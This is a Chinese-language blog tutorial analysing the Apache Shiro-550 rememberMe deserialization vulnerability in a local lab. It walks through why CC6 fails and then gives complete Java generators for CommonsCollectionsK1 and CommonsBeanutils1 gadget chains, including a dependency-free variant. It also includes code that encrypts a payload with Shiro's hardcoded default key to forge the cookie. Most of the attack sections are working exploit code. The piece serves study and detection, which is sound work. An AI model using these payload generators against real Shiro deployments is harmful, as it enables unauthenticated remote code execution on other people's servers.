Shiro 反序列化漏洞原理分析
1 概述
Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。
Shiro反序列化漏洞的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。
前面的文章,介绍了 Commons-Collections 链的各种 Gadget,分为两种利用方式:一种是 InvokerTransformer
,通过 Runtime.exec()
命令执行;另一种是 TemplatesImpl
,通过加载类字节码的形式代码执行。
本文先以一个实际的例子 —— Shiro 反序列化漏洞,来实际使用一下 TemplatesImpl
。
2 漏洞环境搭建
利用 靶场 搭建漏洞环境,整个项目只有两个代码文件,index.jsp 和 login.jsp,依赖这块也仅有下面几个:
shiro-core
、shiro-web
,这是 shiro 本身的依赖
javax.servlet-api
、jsp-api
,这是 JSP 和 Servlet 的依赖,仅在编译阶段使用,因为 Tomcat 中自带这两个依赖
slf4j-api
、slf4j-simple
,这是为了显示 shiro 中的报错信息添加的依赖
- commons-logging,这是 shiro 中用到的一个接口,不添加会爆
java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory
错误
- commons-collections,为了演示反序列化漏洞,增加了commons-collections 依赖
使用 Maven
将项目打包成 war 包,放在 Tomcat 的 webapps 目录下。然后访问 http://localhost:8080/shirodemo/ ,会跳转到登录页面:
然后输入正确的账号密码,root/secret
,可以成功登录。
如果登录时选择了 remember me 的多选框,则登录成功后服务端会返回一个 rememberMe 的 Cookie。
3 使用 CC6 攻击 Shiro
3.1 概述
整个攻击过程如下:
- 使用 CommonsCollections 利用链生成一个序列化 Payload
- 使用 Shiro 默认 Key 进行加密
- 将密文作为 rememberMe 的 Cookie 发送给服务端
3.2 包含数组的反序列化 Gadget
1
2
3
4
5
6
7
8
9
10
11
|
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
public static void main(String []args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
|
加密的过程,使用的 shiro 内置的类 org.apache.shiro.crypto.AesCipherService
,最后生成一段 base64
字符串。
直接将这段字符串作为 rememberMe 的值(不做 url 编码),发送给 shiro。结果 Tomcat 出现了报错:
找到最后一个异常信息 org.apache.shiro.io.ClassResolvingObjectInputStream
,可以看到,这是一个 ObjectInputStream 的子类,其重写了 resolveClass 方法:
resolveClass
是反序列化中用来查找类的方法,在读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class
对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass
方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
|
会发现,前者用的是 org.apache.shiro.util.ClassUtils#forName
,而后者用的是 Java 原生的 Class.forName
。
在异常捕捉的位置下个断点,看看是哪个类触发了异常:
可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;
。其实就是表示 org.apache.commons.collections.Transformer
的数组。
3.2.1 Class.forName 和 ClassLoader.loadClass 的区别
当使用 ClassLoader.loadClass(String name) 时,name 必须是 Java 语言规范定义的二进制名称,并不包括数组类;类加载器负责加载类的对象,数组类的类对象不是由类加载器创建的,而是根据 Java 运行时的要求自动创建的。
以下面代码为例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
package ClassLoaderDemo;
public class ClassLoaderDemo {
public static void main(String[] args) throws ClassNotFoundException {
String c1name = "test1".getClass().getName();
String c2name = new String[]{"test2"}.getClass().getName();
System.out.println(c1name);
System.out.println(c2name);
Class.forName(c1name);
Class.forName(c2name);
ClassLoaderDemo.class.getClassLoader().loadClass(c1name);
ClassLoaderDemo.class.getClassLoader().loadClass(c2name);
}
}
|
3.2.2 真实原因
网上大部分分析原因都是说 Class.forName()
与 ClassLoader.loadClass()
的区别导致 shiro 反序列化时不能加载数组,这个原因不完全准确。
其实是 shiro 加载 Class 最终调用的是 Tomcat
下的 webappclassloader
,该类会使用 Class.forName()
加载数组类,但是使用的 classloader 是 URLClassLoader
,只会加载 tomcat/bin
、tomcat/lib
、jre/lib/ext
下面的类数组,无法加载三方依赖 jar 包。
总之,如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。因为 CC6 用到了 Transformer 数组,因此没法正常反序列化。
3.3 不包含数组的反序列化 Gadget
这里利用 wh1t3p1g 的思路。使用 TemplatesImpl.newTransformer
函数来动态 loadClass
构造好的evil class bytes
。并且在这部分利用链上是不存在数组类型的对象的。
如何触发TemplatesImpl.newTransformer
的方法?
先来回顾一下 CommonsCollections2
的利用链:
1
2
3
4
5
6
7
8
9
|
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()
|
在这条链上,由于 TransformingComparator
在 3.2.1 的版本上还没有实现 Serializable 接口,其在 3.2.1 版本下是无法反序列化的。所以无法直接利用该payload来达到命令执行的目的。
在 InvokerTransformer.transform()
中,根据传入的 input
对象,调用其 iMethodName
方法。如果此时传入的 input
为构造好的 TemplatesImpl
对象呢?这样就可以通过将 iMethodName
置为 newTransformer
,从而完成后续的 templates gadgets。
在 ysoserial 的利用链中,关于 transform
函数接收的 input
存在两种情况:
- 配合
ChainedTransformer
- 无意义的
String
,这里的无意义的 String
指的是传入到 ConstantTransformer.transform
函数的 input
,该 transform
函数不依赖 input
,而直接返回 iConstant
从 CommonsCollection6
开始,用到了 TiedMapEntry
,其作为中继,调用了 LazyMap
(map)的 get
函数。
其中 map
和 key
都可以控制,而 LazyMap.get
调用了 transform
函数,并将可控的 key
传入 transform
函数:
这样就将构造好的 TemplatesImpl
(key)作为 InvokerTransformer.transform
函数的 input
传入,就可以把 templates gadgets 串起来了。
这里整理一下这条链的调用过程:
1
2
3
4
5
6
7
8
9
10
|
java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()
-> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
-> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
-> org.apache.commons.collections.map.LazyMap.get()
-> org.apache.commons.collections.functors.InvokerTransformer.transform()
-> java.lang.reflect.Method.invoke()
... templates gadgets ...
-> java.lang.Runtime.exec()
|
4 实战 - CommonsCollectionsK1
首先还是创建 TemplatesImpl 对象:
1
2
3
4
|
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
|
创建一个用来调用 newTransformer 方法的 InvokerTransformer,但注意的是,此时先传入一个正常的方法,比如 getClass
,避免恶意方法在构造 Gadget 的时候触发:
1
|
Transformertransformer = new InvokerTransformer("getClass",null,null);
|
再把之前的 CommonsCollections6 的代码复制过来,将原来 TiedMapEntry 构造时的第二个参数 key,改为前面创建的 TemplatesImpl 对象:
1
2
3
4
5
6
|
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
|
完整代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
|
这一个 Gadget 其实也就是 XRay 和 Koalr 师傅的 CommonsCollectionsK1
用来检测 Shiro-550 的方法。
5 CommonsBeanutils1 Gadget 分析
5.1 背景
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean)的一些操作方法。
如 Cat 是一个最简单的 JavaBean 类:它包含一个私有属性 name,和读取和设置这个属性的两个方法,又称为 getter 和 setter。其中,getter 的方法名以 get 开头,setter 的方法名以 set 开头,
1
2
3
4
5
6
7
8
9
|
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
|
commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任意 JavaBean 的 getter 方法,比如:PropertyUtils.getProperty(new Cat(), "name");
此时,commons-beanutils
会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。除此之外, PropertyUtils.getProperty
还支持递归获取属性,比如 a 对象中有属性 b,b 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c");
的方式进行递归获取。通过该方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。
5.2 分析
寻找可以利用的 java.util.Comparator
对象,在 commons-beanutils
包中存在: org.apache.commons.beanutils.BeanComparator
,用来比较两个 JavaBean 是否相等的类,其实现了 java.util.Comparator
接口。我们看它的 compare 方法:
这个方法传入两个对象,如果 this.property
为空,则直接比较这两个对象。如果 this.property
不为空,则用 PropertyUtils.getProperty
分别取这两个对象的 this.property
属性,比较属性的值。PropertyUtils.getProperty
这个方法会自动去调用一个 JavaBean的getter
方法, 这个点是任意代码执行的关键。
在分析 TemplatesImpl
利用链的文章中指出,TemplatesImpl#getOutputProperties()
方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer()
,也就是后面常用来执行恶意字节码的方法:
而 getOutputProperties
这个名字,是以 get 开头,正符合 getter 的定义。
构造的 POC 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1Demo {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/ClassLoaderVuln/http/HelloTemppaltesImpl.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
首先创建 TemplateImpl
。然后实例化 BeanComparator
。 BeanComparator
构造函数为空时,默认的 property
就是空。再用刚刚的 comparator
实例化优先队列 PriorityQueue
。
可以看到,代码中添加了两个无害的可以比较的对象进队列中。前文说过, BeanComparator#compare()
中, 如果 this.property
为空,则直接比较这两个对象。这里实际上就是对两个 1 进行排序。
最后,再用反射将 property
的值设置成恶意的 outputProperties
,将队列里的两个 1 替换成恶意的 TemplateImpl
对象。
6 CB1 在 Shiro 反序列化中的利用
在前面的漏洞环境中,我们是手动添加了 Commons Collections 依赖。在实际场景中,目标系统不一定会安装 Commons Collections 库。而 commons-beanutils 默认添加。
尝试使用上文的 CB1 直接构造 payload,并发送,发现是失败的,提示 serialVersionUID
不一致。
6.1 serialVersionUID
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java 在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中
反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化过程就丢异常并退出执行,避免后续的未知隐患。
所以,出现错误的原因就是,本地使用的 commons-beanutils 是 1.9.2 版本,而 Shiro 中自带的 commons-beanutils
是 1.8.3 版本,出现了 serialVersionUID 对应不上的问题。
更换版本后,再次生成 Payload 进行测试,此时 Tomcat 端爆出了另一个异常,仍然没有触发代码执行:
1
|
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
|
简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator
类,从包名即可看出,这个类是来自于 commons-collections
。
commons-beanutils
本来依赖于 commons-collections
,但是在 Shiro 中,它的 commons-beanutils
虽然包含了一部分 commons-collections
的类,但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
6.2 无依赖的 Shiro 反序列化 Gadget
首先确认 org.apache.commons.collections.comparators.ComparableComparator
这个类的使用情况:
在 BeanComparator
类的构造函数处,当没有显式传入 Comparator
的情况下,则默认使用 ComparableComparator
。
既然此时没有 ComparableComparator ,需要找到一个类来替换,它满足下面这几个条件:
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口 Java、shiro 或 commons-beanutils 自带,且兼容性强
通过 IDEA 的 Implementation 寻找实现了 Comparator 的类:
代码如下:
CaseInsensitiveComparator
类是 java.lang.String 类下的一个内部私有类,其实现了 Comparator
和 Serializable
,且位于 Java 的核心代码中,兼容性强。
通过 String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator
:
1
|
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
|
构造出新的 CommonsBeanutils1Shiro
利用链:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
|
参考
phith0n Java 漫谈系列
Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞